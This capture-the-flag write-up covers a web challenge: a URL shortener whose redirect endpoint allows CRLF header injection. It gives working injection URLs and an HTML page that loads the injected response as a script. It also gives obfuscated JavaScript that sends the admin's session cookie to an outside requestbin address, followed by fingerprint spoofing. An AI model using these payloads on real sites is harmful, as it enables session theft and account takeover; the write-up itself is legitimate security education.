Tags: web headers
Rating: 5.0
Shou just wrote a short url generator to generate not so short urls.
Note 1: Flag is in the link admin created. Each user needs to be in the same IP and UA to get access their data.
Note 2: Server is running on a patched version to compensate the NGINX issue. Code here is solely for providing some insights. Do not test your payload on it.
The official writeup takes a much simpler route than we did, but we thought our CORS-free solution was interesting to consider.
When we create a link, we supply the URL that goes in a Refresh
header sent to the link's visitors:
location = html.escape(urllib.parse.unquote(location))
return 302, {"Refresh": "3; url=%s" % location}, "Redirecting you to %s in 3s..." % location
We quickly notice that we control the headers of the redirect response due to insufficient input validation. We do this by inserting a URL-encoded newline into the location parameter. For example,
http://url.w-va.cf/redirect?location=http://google.com/#%0AContent-Type:%20text/javascript
does set the Content-Type
header as shown. We considered what we could do with this, but did not think of CORS.
Instead, we jumped straight to manipulating the request body, which can be done by inserting two newlines instead of one:
http://url.w-va.cf/redirect?location=http://google.com/#%0A%0A<html>body</html>
Of course, this fails to do the desired thing due to location being html.escape
d in the server code.
Now, to make things cleaner, we will just forgo the http://google.com
URL entirely:
as it turns out, empty url
in a Refresh
header causes a simple refresh of the page instead of an error.
We eventually gave up on circumventing the escaping: html.escape
seems to do its job properly.
This means that we cannot make the redirect serve an HTML page with a script
tag.
But what if we use a server we control to serve a page that sources a script from a redirect URL?
There is no obstacle to having JS code in the body. And indeed,
<!DOCTYPE html>
<html lang="en">
<head>
<script src="http://url.w-va.cf/redirect?location=%0A%0Aalert('pwned');" />
</head>
</html>
does almost what we want, except for all the trailing garbage after our injection, such as the Set-Cookie
header.
...
Wait a second!
The redirect page sends a Set-Cookie
header.
This cookie is a timestamped JWT, but this turns out to not matter to us.
Our goal is to pass for an admin, which means that we must match their fingerprint:
@make_response
def get_index(req):
fingerprint = base64.b64encode(str(req).encode("utf-8"))
try:
# get such user's array
result = links[fingerprint]
where make_response
ultimately does this, discarding the timestamp:
def get_authorization(req):
try:
cookies = req[req.index("Cookie:") + 1:]
for i in cookies:
if "url_longener_auth" in i:
return jwt.decode(i.split("=")[1], server_secret_key, algorithms=['HS256'])['token']
The other contents of the fingerprint basically just come from easily obtainable headers (User-Agent
),
so it is sufficient for us to poach the cookie. We can do this by catching it into a string literal like so:
function foo() {
window.location = "http://requestbin.net/r/17z2eu81?c=" + content;
}
const content = `;foo()//
Why write it like this? Because the server-supplied response body also contains all of the payload after
the remaining headers, so the Set-Cookie
will be caught into content
, making the full response this:
[...]
Refresh: 3; url=
function foo() {
window.location = "http://requestbin.net/r/17z2eu81?c=" + content;
}
const content = `;foo()//
Set-Cookie: url_longener_auth=[...]
Redirecting you to
function foo() {
window.location = "http://requestbin.net/r/17z2eu81?c=" + content;
}
const content = `;foo()//
This is almost what we want, except that we're not allowed single or double quotes, and using backticks would break content
.
There may have been a smarter solution, but we ended up just rewriting the code:
function f(){a=[104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,110,101,116,47,114,47,49,55,122,50,101,117,56,49,63,99,61];s=a.map(function(c){return String.fromCharCode(c)}).join([]);location=s+btoa(t);}t=`;f()//
Now, finally, this is nearly all there was to it: after getting the JWT by serving the supplied index.html, we run request.py which sets the headers needed for the fingerprint.
The last step frustrated us somewhat, as we hadn't considered that we might not need X-Forwarded-For
.
Sending what we got in requestbin
would break the fingerprint, and the correct solution turned out to be omitting it.